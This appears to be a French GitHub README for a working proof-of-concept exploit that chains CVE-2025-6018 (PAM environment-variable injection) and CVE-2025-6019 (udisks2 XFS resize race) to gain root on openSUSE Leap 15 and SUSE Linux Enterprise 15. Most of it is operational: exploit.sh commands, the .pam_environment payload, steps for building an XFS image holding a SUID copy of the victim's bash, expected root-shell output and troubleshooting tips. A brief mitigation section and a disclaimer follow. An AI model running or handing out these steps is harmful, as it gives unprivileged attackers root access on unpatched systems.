
CVE-2025-6018 CVE-2025-6019 Exploit PoC - Élévation de privilèges locale dans openSUSE/SUSE Linux Enterprise 15 - Contournement de PAM + condition de course XFS udisks2 LPE vers root
PoC/Exploit fonctionnel pour CVE-2025-6018 et CVE-2025-6019 - Élévation de privilèges d'un utilisateur non privilégié à root sur openSUSE Leap 15.x et SUSE Linux Enterprise 15.x
| ID CVE | Vulnérabilité | Impact |
|---|---|---|
| CVE-2025-6018 | Injection de variables d'environnement PAM | Contournement vers le statut polkit allow_active |
| CVE-2025-6019 | Course critique lors du redimensionnement XFS udisks2/libblockdev | Shell root |
Unprivileged SSH User → [CVE-2025-6018] → allow_active → [CVE-2025-6019] → ROOT
# Check vulnerability
./exploit.sh --check
# Setup PAM bypass (CVE-2025-6018)
./exploit.sh --setup
# Reconnect SSH, then: su - $USER
# Exploit (CVE-2025-6019)
./exploit.sh --exploit /tmp/xfs.img
# Result: ROOT SHELL
uid=1000(user) gid=1000(user) euid=0(root)
git clone https://github.com/DesertDemons/CVE-2025-6018-6019.git
cd CVE-2025-6018-6019
chmod +x *.sh
⚠️ Note : openSUSE Leap 15.6 arrive en fin de vie le 30 avril 2026. Après cette date, aucun correctif de sécurité ne sera publié. Les utilisateurs devraient migrer vers Leap 16.0 ou SLES avec support étendu.
user_readenv=1allow_active: yes pour les actions udisks2./exploit.sh --check
./exploit.sh --setup
# Then: exit SSH, reconnect, run: su - $USER
./exploit.sh --exploit /tmp/xfs.img
./exploit.sh --auto /tmp/xfs.img
./exploit.sh --create-image
À exécuter sur la machine de l'ATTAQUANT en tant que root :
⚠️ Vous DEVEZ utiliser le binaire
/usr/bin/bashde la victime, pas celui de votre machine locale. Un binaire bash provenant d'une autre distribution (Kali, Arch, Ubuntu, etc.) échouera sur la cible en raison d'une incompatibilité ABI glibc/bibliothèques partagées — même sur la même architecture x86_64.
Le script détecte automatiquement votre version de xfsprogs et applique les options correctes :
# Get victim's bash first
scp user@target:/usr/bin/bash /tmp/victim_bash
# Create image (auto-detects safe mkfs flags)
sudo ./create_image.sh /tmp/victim_bash xfs.img
# For SUSE 15 SP1-SP4 targets (kernel < 5.14), use compatibility mode:
sudo ./create_image.sh --compat /tmp/victim_bash xfs.img
sudo su -
# 1. Get victim's bash binary
scp user@target:/usr/bin/bash /tmp/bash
# 2. Create 300MB XFS image with safe flags
dd if=/dev/zero of=xfs.img bs=1M count=300
mkfs.xfs -f -i exchange=0 -n parent=0 xfs.img
# 3. Mount with SUID support
mkdir -p /tmp/mnt
mount -o loop,suid xfs.img /tmp/mnt
# 4. Copy victim's bash and set SUID bit
cp /tmp/bash /tmp/mnt/xpl
chmod 4755 /tmp/mnt/xpl
chown root:root /tmp/mnt/xpl
ls -la /tmp/mnt/xpl # MUST show: -rwsr-xr-x
# 5. Unmount and transfer
umount /tmp/mnt
scp xfs.img user@target:/tmp/
L'image XFS doit être formatée avec des options compatibles avec le noyau de la cible. Les versions récentes de xfsprogs activent par défaut des fonctions sur disque que les anciens noyaux SUSE ne peuvent pas lire, ce qui provoque des erreurs wrong fs type, bad superblock lors du montage de redimensionnement udisks2.
| Cible | Noyau | Commande mkfs.xfs |
|---|---|---|
| SUSE 15 SP5-SP6 | 5.14 / 6.4 | mkfs.xfs -f -i exchange=0 -n parent=0 xfs.img |
| SUSE 15 SP1-SP4 | 4.12 - 5.3 | mkfs.xfs -f -m crc=0,reflink=0 xfs.img |
Pourquoi ? exchange et parent sont des fonctions du noyau 6.10+ (activées par défaut dans xfsprogs 6.x). bigtime, inobtcount et nrext64 sont des fonctions du noyau 5.10+. La commande « compat » SP1-SP4 (-m crc=0,reflink=0) crée un format XFS V4 avec toutes les fonctions modernes désactivées, qui fonctionne sur tous les SP de SUSE 15.
Vulnérabilité : le module pam_env de PAM lit ~/.pam_environment avec user_readenv=1 (valeur par défaut sur SUSE), ce qui permet l'injection de variables d'environnement.
Exploit : définir XDG_SEAT=seat0 et XDG_VTNR=1 pour tromper systemd-logind et lui faire accorder les privilèges polkit allow_active.
# ~/.pam_environment
XDG_SEAT=seat0
XDG_VTNR=1
Vulnérabilité : lors du redimensionnement d'un système de fichiers XFS via udisks2, libblockdev monte temporairement le système de fichiers sans l'option nosuid.
Exploit :
./exploit.sh --check
Sortie :
[+] pam_env.so found in PAM configuration
[+] pam_systemd.so found - escalation vector available
[+] Target OS is vulnerable (openSUSE/SLES)
[-] allow_active status: NO
./exploit.sh --setup
exit
ssh user@target
su - $USER
./exploit.sh --check
Sortie :
[+] allow_active status: YES
You have allow_active privileges!
# On attacker:
scp xfs.img user@target:/tmp/
./exploit.sh --exploit /tmp/xfs.img
Sortie :
[+] Loop device created: /dev/loop0
[+] Loop device verified as XFS
[*] Starting race condition loop...
[*] Triggering XFS resize on loop0...
=== ROOT SHELL OBTAINED ===
uid=1000(user) gid=1000(user) euid=0(root) groups=1000(user)
root@target#
# Disable user_readenv in PAM
sed -i 's/user_readenv=1/user_readenv=0/g' /etc/pam.d/common-auth
# Or restrict udisks2 polkit policy
# Change allow_active from "yes" to "auth_admin"
Cet outil est destiné uniquement aux tests de sécurité autorisés et à des fins éducatives. L'accès non autorisé à des systèmes informatiques est illégal. Les auteurs ne sont pas responsables de toute utilisation abusive.
CVE-2025-6018 CVE-2025-6019 PoC Proof of Concept Exploit Privilege Escalation LPE Local Privilege Escalation Root openSUSE SUSE SLES PAM pam_env udisks2 libblockdev
⭐ Mettez une étoile à ce dépôt s'il vous a aidé ! ⭐
| Problème | Cause | Solution |
|---|
allow_active: NO | Contournement PAM inactif | Exécutez --setup, quittez SSH, reconnectez-vous, puis exécutez su - $USER |
Image is not XFS | Mauvais format de système de fichiers | Utilisez mkfs.xfs, pas mkfs.ext4 |
SUID not working | Permissions non définies | Vérifiez les permissions -rwsr-xr-x sur la machine de l'attaquant |
Race condition missed | Problème de synchronisation | Relancez l'exploit (fonctionne généralement en 1 à 3 tentatives) |
Le binaire SUID provoque un segfault ou GLIBC_x.xx not found | Binaire bash provenant d'une mauvaise distribution (incompatibilité glibc/ABI) | Utilisez le binaire /usr/bin/bash de la victime via scp, pas votre bash local |
Resize output: Error resizing filesystem on /dev/loopN: Failed to mount '/dev/loopN' before resizing it: wrong fs type, bad option, bad superblock on /dev/loopN, missing codepage or helper program, or other error | Image XFS formatée avec des fonctions que le noyau cible ne peut pas lire (incompatibilité de version de xfsprogs) | Créez l'image avec mkfs.xfs -f -i exchange=0 -n parent=0 xfs.img pour SP5/SP6, ou mkfs.xfs -f -m crc=0,reflink=0 xfs.img pour SP1-SP4 |
XFSRace ConditionSecurityVulnerabilityPentest